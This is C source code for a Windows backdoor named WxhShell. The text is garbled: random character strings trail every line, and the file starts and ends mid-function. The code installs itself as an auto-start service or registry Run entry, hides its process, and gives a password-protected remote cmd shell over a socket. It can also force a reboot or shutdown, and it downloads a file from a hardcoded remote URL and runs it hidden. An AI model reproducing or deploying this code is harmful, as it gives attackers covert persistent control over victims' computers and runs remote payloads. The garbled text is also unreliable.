    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jRxzZt4  
    if(Boot(SHUTDOWN)) u3sr"w&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #q8/=,3EG  
    else { nFwdW@E9  
    closesocket(wsh); 01IfvK  
    ExitThread(0); x[$ :^5V  
    } Y>K8^GS  
    break; rK4 pYo  
    } TBgiA}|\D  
  // 获取shell \3)U~[O>:  
  case 's': { T%**:@}+  
    CmdShell(wsh); Zm#,Ike?#  
    closesocket(wsh); GD!!xt  
    ExitThread(0); P5'VLnE R{  
    break; FQcm =d_s  
  } ~-~iCIaTb  
  // 退出 #?~G\Ux0/  
  case 'x': { Vb?_RE_H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .GFKy  
    CloseIt(wsh); c32"$g  
    break; mHNqzdaa  
    } ,_:6qn{  
  // 离开 ,;yaYF 6|/  
  case 'q': { VC^QCuSq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Q aZ|\c  
    closesocket(wsh); `Vh&XH\S  
    WSACleanup(); TaZlfe5z  
    exit(1); "p&4Sn3T2?  
    break; Bhe0z|&  
        } ]jV1/vJ-!  
  } Bc}e ??F  
  } MA v-#  
lsVg'k/Z!  
  // 提示信息 wT:mfS09N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W}k)5<C4v  
} EHt(! ;?q  
  } "mcuF]7F  
P2 +^7x?  
  return; G)%r|meKGB  
} &I/C^/F&  
5ma~Pjt8}  
// shell模块句柄 #F+b^WTR  
int CmdShell(SOCKET sock) OP DRV\  
{ B|rf[EI>  
STARTUPINFO si; U?ZxQj66}  
ZeroMemory(&si,sizeof(si)); =7zvp,B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3L;&MG=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n Ayyjd3!S  
PROCESS_INFORMATION ProcessInfo; MG$Df$R  
char cmdline[]="cmd"; >orDw3xC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ( z.\,M  
  return 0; -)E6{  
} mQ:5(]v  
AkBEE  
// 自身启动模式 (M,*R v  
int StartFromService(void) n}q/:|c  
{ tR-rW)0K3Q  
typedef struct wTVd){q`.  
{ ],Y+|uX->  
  DWORD ExitStatus; S{)'1J_0  
  DWORD PebBaseAddress; N x/_+JWje  
  DWORD AffinityMask; YXTd^M~@D  
  DWORD BasePriority; gK- $y9]~+  
  ULONG UniqueProcessId; = p$:vW  
  ULONG InheritedFromUniqueProcessId; +q)B4A'J!  
}   PROCESS_BASIC_INFORMATION; F0+@FS0   
mV'^4by  
PROCNTQSIP NtQueryInformationProcess; \oAxmvt  
i^6g1"h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @m ?&7{y#?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R>`TV(W`9  
PD@@4@^  
  HANDLE             hProcess; F$>^pw  
  PROCESS_BASIC_INFORMATION pbi; )Xd2qbi  
0D_{LBO6LU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z/= HQ8  
  if(NULL == hInst ) return 0; M9dUo7  
c^BeT;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;p2a .P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uHpSE?y/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )x&OdFX  
aG/L'weR  
  if (!NtQueryInformationProcess) return 0; /*) =o+  
7%Ii:5Bp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zrCQEQq  
  if(!hProcess) return 0; O=w u0n  
[[9XqD]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RF.8zea{O`  
tz"zQC$  
  CloseHandle(hProcess); IBe0?F #  
A]"IQ-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9='=wWW  
if(hProcess==NULL) return 0; +b6kU{  
' CO3b,  
HMODULE hMod; Na2n4x!  
char procName[255]; G/5]0]SO  
unsigned long cbNeeded; b py576GwA  
>\c"U1%E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [ZkK)78}k  
{!rpE7P-  
  CloseHandle(hProcess); ~g[<A?0=y  
nPS:T|*G  
if(strstr(procName,"services")) return 1; // 以服务启动 A('_.J=  
Me e+bp  
  return 0; // 注册表启动 *wetPt)~v_  
} =jN9PzLk  
EzDQoN7Em  
// 主模块 t)/:VImY  
int StartWxhshell(LPSTR lpCmdLine) ~)&im.Q4  
{ K<Qy1y~[  
  SOCKET wsl; Ue22,Pp6  
BOOL val=TRUE; C0@[4a$8f  
  int port=0; SYsbe 5j  
  struct sockaddr_in door; IrZ!.5%tV  
p&~= rp`E  
  if(wscfg.ws_autoins) Install(); 9!06R-h  
d*{NAq'9X  
port=atoi(lpCmdLine); 8bIwRVA2\  
4]$$ar)  
if(port<=0) port=wscfg.ws_port; 0cBk/x^s  
J(JqusQd !  
  WSADATA data; dW8M^A&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z1u1%FwOfM  
XV> )[Nd\H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `K^j:fE7n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ] oh.w  
  door.sin_family = AF_INET; ;5fq[v^P:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q7b$j\;I  
  door.sin_port = htons(port); &:" [hU  
*?GV(/Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gZD,#D.hR  
closesocket(wsl); @3:oo /;  
return 1; 5@xl/  
} /Ky xOb)  
f*}H4H EO  
  if(listen(wsl,2) == INVALID_SOCKET) { LYv$U;*+  
closesocket(wsl); z sZP\  
return 1; psHW(Z8G  
} 3Y}X7-|)Z  
  Wxhshell(wsl); -:|1>og  
  WSACleanup(); c5t],P  
2}^fhMS  
return 0; SqF9#&F  
'kz[Gh*8  
} !}gC0dJ  
rz @;Zn  
// 以NT服务方式启动 RI q9wD}4(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `f9I#B  
{ x*" 0dYH  
DWORD   status = 0; 6H\apgHm  
  DWORD   specificError = 0xfffffff; &u_s*  
>lRa},5(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QlHxdRK`.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q'ok%9q!p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y GZX}-  
  serviceStatus.dwWin32ExitCode     = 0; 1qw*mV;W)_  
  serviceStatus.dwServiceSpecificExitCode = 0; ,KMt9 <  
  serviceStatus.dwCheckPoint       = 0; _;Q1P gT  
  serviceStatus.dwWaitHint       = 0; H ',Nt  
nzdJ*C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q~^qf  
  if (hServiceStatusHandle==0) return; `nxm<~-\  
MMpGI^x!-X  
status = GetLastError(); AC$:.KLI  
  if (status!=NO_ERROR) "1P>,\Sjg  
{ g?'4G$M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W+&w'~M  
    serviceStatus.dwCheckPoint       = 0; q@i,$R  
    serviceStatus.dwWaitHint       = 0; c teUKK.|)  
    serviceStatus.dwWin32ExitCode     = status; 5s >UM@})  
    serviceStatus.dwServiceSpecificExitCode = specificError; b`@aiXN)+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c({V[eGY  
    return; BnLM;5 >  
  } oCBZ9PGkK  
8u,f<XHi"a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~v 2E<S3  
  serviceStatus.dwCheckPoint       = 0; qjsS2,wM  
  serviceStatus.dwWaitHint       = 0; poqcoSL"}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0i[,`>-Av  
} 1]L 0r  
gg>O:np8  
// 处理NT服务事件,比如:启动、停止 r*|#*"K"a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &TmN^R>  
{ 6]=R#d 7U  
switch(fdwControl) .e $W(}  
{ TwlrncK*  
case SERVICE_CONTROL_STOP: f\W1u#;u)  
  serviceStatus.dwWin32ExitCode = 0; fh0a "#L{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wt;7+  
  serviceStatus.dwCheckPoint   = 0; }{J5)\s9  
  serviceStatus.dwWaitHint     = 0; E,]G Ek  
  { ZSKSMI%D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w`kn!k8  
  } =K6aiP$Ft  
  return; S}q6CG7 u  
case SERVICE_CONTROL_PAUSE: vJheM*C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  a=<l}`*  
  break; no*p`a *  
case SERVICE_CONTROL_CONTINUE: gK{-eS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ""GeO%J8  
  break; &-Bw7v  
case SERVICE_CONTROL_INTERROGATE: ZGUhje!  
  break; r Z0+mS'/G  
}; ^-, aB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IXp(Aeb  
} dqU bJc]  
K,7IBv,B[  
// 标准应用程序主函数 Zrtyai{8l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O1+2Z\F  
{ [FHSFr E,5  
l$ABOtM@  
// 获取操作系统版本 @Sxb}XI!f  
OsIsNt=GetOsVer(); 0ZY.~b'eu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g5gq {KlU  
xEt".K  
  // 从命令行安装 ,/O,j SRk  
  if(strpbrk(lpCmdLine,"iI")) Install(); W 7k\j&x  
UADD 7d  
  // 下载执行文件 FL}k0  
if(wscfg.ws_downexe) { K3QE>@']  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #7!P3j  
  WinExec(wscfg.ws_filenam,SW_HIDE); o1x IGP<  
} C?v_ig  
/%w9F  
if(!OsIsNt) { (1`z16  
// 如果时win9x,隐藏进程并且设置为注册表启动 ['p%$4i$  
HideProc(); C5Fk>[fS  
StartWxhshell(lpCmdLine); YGRv``(  
} vs3px1Xe#  
else Xr54/.{&@  
  if(StartFromService()) %d<uOCf\Q  
  // 以服务方式启动 %A@Q%l6  
  StartServiceCtrlDispatcher(DispatchTable); ''+6qH-.|]  
else ~NYy@l   
  // 普通方式启动 <ob+Ano$  
  StartWxhshell(lpCmdLine); [ D[&aA  
RrMC[2=  
return 0; II !Nr{A  
} =|lw~CW  
k 7 !{p  
Gw3H1:yo  
9,h'cf`F  
=========================================== . zM  
y6.Q\=  
>heFdKq1  
cVrses^yE  
ich\`j[i  
h?f)Bt}ry  
" H{Zfbb  
o.qeF4\d6  
#include <stdio.h> x.Sq2rw]V  
#include <string.h> YQU #aOl  
#include <windows.h> P<AN`un  
#include <winsock2.h> 5ZG-3qj  
#include <winsvc.h> c< ke)@  
#include <urlmon.h> dW3q  
Dps0$f c  
#pragma comment (lib, "Ws2_32.lib") IuJj ;L1  
#pragma comment (lib, "urlmon.lib") TCW[;d  
Ra\>^W6z  
#define MAX_USER   100 // 最大客户端连接数 _7?LINF9  
#define BUF_SOCK   200 // sock buffer aE0yO#=   
#define KEY_BUFF   255 // 输入 buffer JJL#Y  
0E9LZOw4T  
#define REBOOT     0   // 重启 7<W7pXDp  
#define SHUTDOWN   1   // 关机 <mE)& 7C  
]YF[W`2h  
#define DEF_PORT   5000 // 监听端口 :OC`X~}Rc  
}nrl2yp:%  
#define REG_LEN     16   // 注册表键长度 n !ty\E  
#define SVC_LEN     80   // NT服务名长度 >3HLm3T  
=Z ^=  
// 从dll定义API Eeem y*U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /aa'ryl_%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S<Zb>9pl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VH3 j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X( m&  
;M '?k8L  
// wxhshell配置信息 b<UZD yN~  
struct WSCFG { s'yA^ VPf  
  int ws_port;         // 监听端口 &P Ru[!  
  char ws_passstr[REG_LEN]; // 口令 O9>& E;`5  
  int ws_autoins;       // 安装标记, 1=yes 0=no sWp]Zy  
  char ws_regname[REG_LEN]; // 注册表键名 Xz`?b4i  
  char ws_svcname[REG_LEN]; // 服务名 $j(2M?.>#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rn={:u4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q>y2C8rnJ/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;74hOHDS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m09 Bds  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Kv.v7'N/k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !Fa2F~#h  
ax7]>Z=%d"  
}; j'lfH6_')e  
T9enyYt%  
// default Wxhshell configuration Y$8 >fv  
struct WSCFG wscfg={DEF_PORT, KL]@y!QU  
    "xuhuanlingzhe", "y@B|  
    1, W2Y%PD9a  
    "Wxhshell", |1`|E- S=  
    "Wxhshell", 7<&CN0&  
            "WxhShell Service", U#v??Sl  
    "Wrsky Windows CmdShell Service", qv<[f=X9|  
    "Please Input Your Password: ", !( xeDX  
  1, Qn> 0s  
  "http://www.wrsky.com/wxhshell.exe", /I~iUND"G  
  "Wxhshell.exe" F-%wOn /  
    }; [4,=%ez  
@D%H-X  
// 消息定义模块 o@[yF<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y>z~0$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xk=5q|u_-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _uL{@(  
char *msg_ws_ext="\n\rExit."; &CW,qY,sh  
char *msg_ws_end="\n\rQuit."; tiJY$YqA  
char *msg_ws_boot="\n\rReboot..."; {f] K3V  
char *msg_ws_poff="\n\rShutdown..."; nunTTE,iq%  
char *msg_ws_down="\n\rSave to "; |<&9_Aq_  
@K`2y'#b  
char *msg_ws_err="\n\rErr!"; F"xD^<i  
char *msg_ws_ok="\n\rOK!"; X $LX;Lv  
+ZeHZjd  
char ExeFile[MAX_PATH]; 0?525^   
int nUser = 0; ia !t~~f  
HANDLE handles[MAX_USER]; \nM$qr'`B  
int OsIsNt; E/9h"zowS  
uNe5Mv|}  
SERVICE_STATUS       serviceStatus; Ndq|Hkd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4f/2gI1@B  
s-]k7a 2V  
// 函数声明 ]MJyBz+k  
int Install(void); co<-gy/mCR  
int Uninstall(void); 6tXx--Nh  
int DownloadFile(char *sURL, SOCKET wsh); q6'3-@%  
int Boot(int flag); / *J}7  
void HideProc(void); *Iv.W7 [  
int GetOsVer(void); We3Z#}X  
int Wxhshell(SOCKET wsl); [*ylC,w  
void TalkWithClient(void *cs); sev^  
int CmdShell(SOCKET sock); q B-9&X  
int StartFromService(void); ~`M>&E@Y_/  
int StartWxhshell(LPSTR lpCmdLine); 7:x%^J+  
=qH9<,p`H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $ )ps~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W,~s0a!  
BH _y0[y  
// 数据结构和表定义 5^lroC-(x  
SERVICE_TABLE_ENTRY DispatchTable[] = gzDH~'8W  
{ K r $R"  
{wscfg.ws_svcname, NTServiceMain}, 2*:lFv wP  
{NULL, NULL} -#srn1A>  
}; Erz{{kf]1V  
5zXw0_  
// 自我安装 /rp.H'hC  
int Install(void) J~7E8  
{ , |SO'dG  
  char svExeFile[MAX_PATH]; xo#&&/6  
  HKEY key; 1{\{'EP{  
  strcpy(svExeFile,ExeFile); \5UwZx\  
H'68K8i0  
// 如果是win9x系统,修改注册表设为自启动 (3z: ;  
if(!OsIsNt) { yIC.Jm D*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .])ubK_9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @7 xb/&N  
  RegCloseKey(key); -FA]%Pl<'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n\k6UD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x]umh{H~  
  RegCloseKey(key); #W`>vd}  
  return 0; m)4s4P57y  
    } Qo+_:N  
  } z#*M}RR  
} F, {M!dL  
else { SrzlR)  
-.ITcD g  
// 如果是NT以上系统,安装为系统服务 pQr `$:ga  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6b+\2-eq  
if (schSCManager!=0) ?CGbnXZ4Ug  
{ l{wHu(1  
  SC_HANDLE schService = CreateService /zZ$<mVG  
  ( Sd?:+\bS;  
  schSCManager,  TA;  
  wscfg.ws_svcname, vU Bk oC2Q  
  wscfg.ws_svcdisp, v  P8.{$  
  SERVICE_ALL_ACCESS, )qs>Z?7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h,B ]5Of  
  SERVICE_AUTO_START, 7M#2Tze}  
  SERVICE_ERROR_NORMAL, [B3qZ"  
  svExeFile, J^[>F{8!n  
  NULL, zR:Mg\  
  NULL, q:N"mp<%  
  NULL, 9?B}CCE<LR  
  NULL, j3|Ek  
  NULL 'J~{8w,.  
  ); s>d@=P>R  
  if (schService!=0) |T7 < !  
  { gaBt;@?:Q  
  CloseServiceHandle(schService); j>XM+>  
  CloseServiceHandle(schSCManager); cA%70Y:AV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v3 4!rL  
  strcat(svExeFile,wscfg.ws_svcname); xC;b<~zN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G]5m@;~l5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H%NP4pK  
  RegCloseKey(key); 6wH]W+A  
  return 0; *FyBkG'  
    } 1iBOf8  
  } Arh0m. w  
  CloseServiceHandle(schSCManager); 5D0O.v  
} HSHY0  
} I3uS?c  
|&Gm.[IX;q  
return 1; l6ayV  
} IB#L5yN r  
GkqKIs  
// 自我卸载 8Z{&b,Y4L  
int Uninstall(void) *(~7H6  
{ fsqK(io28  
  HKEY key; o= VzVg  
d`9% :2qE  
if(!OsIsNt) { g[<K FVlG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yt79W  
  RegDeleteValue(key,wscfg.ws_regname); ig Fz~  
  RegCloseKey(key); ihjs%5Jo%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V+My]9ki  
  RegDeleteValue(key,wscfg.ws_regname); [5Zs%!Z;8N  
  RegCloseKey(key); SQ7Ws u>T@  
  return 0; (0/g)gW  
  } E0QrByr_  
} ?m5@ 63 5  
} F|\^O[#R  
else { "HI&dC  
k2{*WF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QiBo]`)%  
if (schSCManager!=0) ST'M<G%4E  
{  ! K:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O ;,BzA-n  
  if (schService!=0) nojJGeW%  
  { apsR26\^  
  if(DeleteService(schService)!=0) { "w3#2q&  
  CloseServiceHandle(schService); {&Kck>C'  
  CloseServiceHandle(schSCManager); x { Z_rD  
  return 0; ( <~  
  } :t?Z  
  CloseServiceHandle(schService); +>BLox6  
  } "b)Y5[nW  
  CloseServiceHandle(schSCManager); u0^Vy#@_  
} +o+e*B7Eh  
} j >f  
rH@ {[~p  
return 1; v%gkQa  
} <Uj~S  
/SDN7M]m!  
// 从指定url下载文件 wuRB[KLe  
int DownloadFile(char *sURL, SOCKET wsh) -|s w\Q  
{ ?U+^ctwv7  
  HRESULT hr; )IN!CmpN  
char seps[]= "/"; 5P=3.Mk  
char *token; iveJh2!#<  
char *file; }G8gk"st  
char myURL[MAX_PATH]; ^d2#J  
char myFILE[MAX_PATH]; (9gL  
RsTz3]`yv  
strcpy(myURL,sURL); xi5G?r  
  token=strtok(myURL,seps); \<k5c-8Hb  
  while(token!=NULL) 3<Qe'd ^  
  { S$O+p&!X  
    file=token; Tp vq5Cz  
  token=strtok(NULL,seps); mab921-n  
  } Y~ku?/"6T  
1Q[I$=-F  
GetCurrentDirectory(MAX_PATH,myFILE); N{/):O  
strcat(myFILE, "\\"); z;T_%?u  
strcat(myFILE, file); 9i9'Rd`g  
  send(wsh,myFILE,strlen(myFILE),0); "==fWf  
send(wsh,"...",3,0); =|}_ASbzw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h2k"iO }  
  if(hr==S_OK) 1f 3c3PJ  
return 0; b'x26wT?  
else !U 6q;' )-  
return 1; OKW}8qM  
)P13AfK  
} &TgS$c5k  
mVaWbR@HS  
// 系统电源模块 rdQKzJiX=U  
int Boot(int flag) kZb #k#  
{ c{"=p8F_  
  HANDLE hToken; '{>R-}o[3  
  TOKEN_PRIVILEGES tkp; #uRj9|E7  
!= uaB.  
  if(OsIsNt) { + *xi&|%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Py@/\V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); { l0[`"EF  
    tkp.PrivilegeCount = 1; $U/|+*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7\0}te  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I$0O4  
if(flag==REBOOT) { Q9G\T:^ury  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NIo!WOi  
  return 0; ,1K`w:uhS  
} !B*l'OJw  
else { #Sc9&DfX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 634OH*6  
  return 0; \rpXG9  
} A<s zY92&5  
  } {P {h|+;  
  else { <5 )F9.$  
if(flag==REBOOT) { oKMr Pr[`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dZWO6k9[H  
  return 0; :pH3M[7  
} M\_IQj  
else { `GUGy.b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YB}m1 g`  
  return 0; M!Ua/g=u  
} 2MU$OI0|  
} C~-.zQ$  
w/f?KN  
return 1; ;F;Vm$  
} @ogj -ol&  
:Tcvj5  
// win9x进程隐藏模块 LrH"d  
void HideProc(void) HO_!/4hrU  
{ LgxsO:mi  
& [z<p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r_hs_n!6  
  if ( hKernel != NULL ) vR7S !  
  { GIv l|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lyD=n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #LR.1zZ  
    FreeLibrary(hKernel); TE9Iyl|=  
  } SE$~Wbj?  
=D&XE*qkZ  
return; nX_w F`n"  
} T'ei>]y]  
6DG%pF,  
// 获取操作系统版本 !l-Q.=yw  
int GetOsVer(void) $ ~%w21?&  
{ N9#5 P!  
  OSVERSIONINFO winfo; d=0{vsrB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qjsEyro$-  
  GetVersionEx(&winfo); dsn(h5,Q'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TbD $lx3>  
  return 1; T#\=v(_NR  
  else 5\Rg%Ezl  
  return 0; 7_R[ =t  
} QM'|k6  
\UP=pT@  
// 客户端句柄模块 S.Q:O{]  
int Wxhshell(SOCKET wsl) CofTTYl  
{ 29^(weT"]  
  SOCKET wsh; ^-Rqlr,F;  
  struct sockaddr_in client; 1k]L,CX  
  DWORD myID; |\Q2L;4C  
'0=mV"#H{  
  while(nUser<MAX_USER) z(u,$vZ _  
{ -,Js2+QZ#  
  int nSize=sizeof(client); ;H3~r^>c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'jXJ!GFw  
  if(wsh==INVALID_SOCKET) return 1; ?O Puv5!pI  
@?jbah#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y>T<Qn^D  
if(handles[nUser]==0) 3 Q~0b+k  
  closesocket(wsh); rp4{lHw>C/  
else :r2d%:h%2  
  nUser++; C[';B)a  
  } u_}UU 2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); = c1>ja  
+s6v!({Z  
  return 0; E5 #ff5  
} 4:Oq(e_(  
oWx^_wQ-=  
// 关闭 socket f1S% p  
void CloseIt(SOCKET wsh) wA"d?x  
{ w5yX~8UzJ  
closesocket(wsh); xLb=^Xjec  
nUser--; iUFG!,+d  
ExitThread(0); v0TbQ  
} ?LJiFG]^m  
r/@Wn  
// 客户端请求句柄 kT]jJbb"  
void TalkWithClient(void *cs) m?gGFxo  
{ Y78DYbU.  
lWH#/5`h  
  SOCKET wsh=(SOCKET)cs; #k1IrqUp  
  char pwd[SVC_LEN]; PJ=|g7I  
  char cmd[KEY_BUFF]; bPif"dhHe  
char chr[1]; .'.bokl/  
int i,j; (.iwD&  
o bN8+ j  
  while (nUser < MAX_USER) { Z4:^#98c.  
CbXSJDs  
if(wscfg.ws_passstr) { Sb?Ua*(L:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X Ai0lN{,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M IyT9",Pl  
  //ZeroMemory(pwd,KEY_BUFF); {2QP6XsJ  
      i=0; sxS%1hp3  
  while(i<SVC_LEN) { W'=}2Y$]u  
%pH|2VB#  
  // 设置超时 yye5GVY$  
  fd_set FdRead; BJ\81 R  
  struct timeval TimeOut; @nMVs6  
  FD_ZERO(&FdRead); -E3cS  
  FD_SET(wsh,&FdRead); @y'ZM  
  TimeOut.tv_sec=8; QhLgFu  
  TimeOut.tv_usec=0; LE)$_i8gX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /2hRL yeAZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OSLZ7B^  
\{!,a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FA;-D5=  
  pwd=chr[0]; WbBd<^Q  
  if(chr[0]==0xd || chr[0]==0xa) { Rry] 6(  
  pwd=0; =9`UcTSi6p  
  break; *W^a<Zm8>  
  } lzz;L z  
  i++; ?FUK_]  
    } e*}GQ  
$.:x3TsA  
  // 如果是非法用户,关闭 socket ~R~.D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }N).$  
} 61_-G#W  
r{84Y!k~*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }%jpqip  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C"mWO Y2]  
3:8p="$F  
while(1) { Ziub%C[oV  
$-~"G,;F  
  ZeroMemory(cmd,KEY_BUFF); ZBFn  
tJn"$A ^N  
      // 自动支持客户端 telnet标准   Q$ Dx:  
  j=0; lKQevoy'  
  while(j<KEY_BUFF) { (i1x<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R".$x{{  
  cmd[j]=chr[0]; .pdcwd9  
  if(chr[0]==0xa || chr[0]==0xd) { '1xhP}'3)  
  cmd[j]=0; ~K;hXf  
  break; O"df5x9@  
  } 'Ha> >2M  
  j++; ?*yB&(a:8  
    } p >ua{}!L  
m"n" 1;o=  
  // 下载文件 Lccy~2v>  
  if(strstr(cmd,"http://")) { f-|zh#L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nCp_RJu  
  if(DownloadFile(cmd,wsh)) Iz j-,a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aaw[ia_EL  
  else ^);M}~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =<m!% /I  
  } #Ha"rr46p  
  else { %eW7AO>  
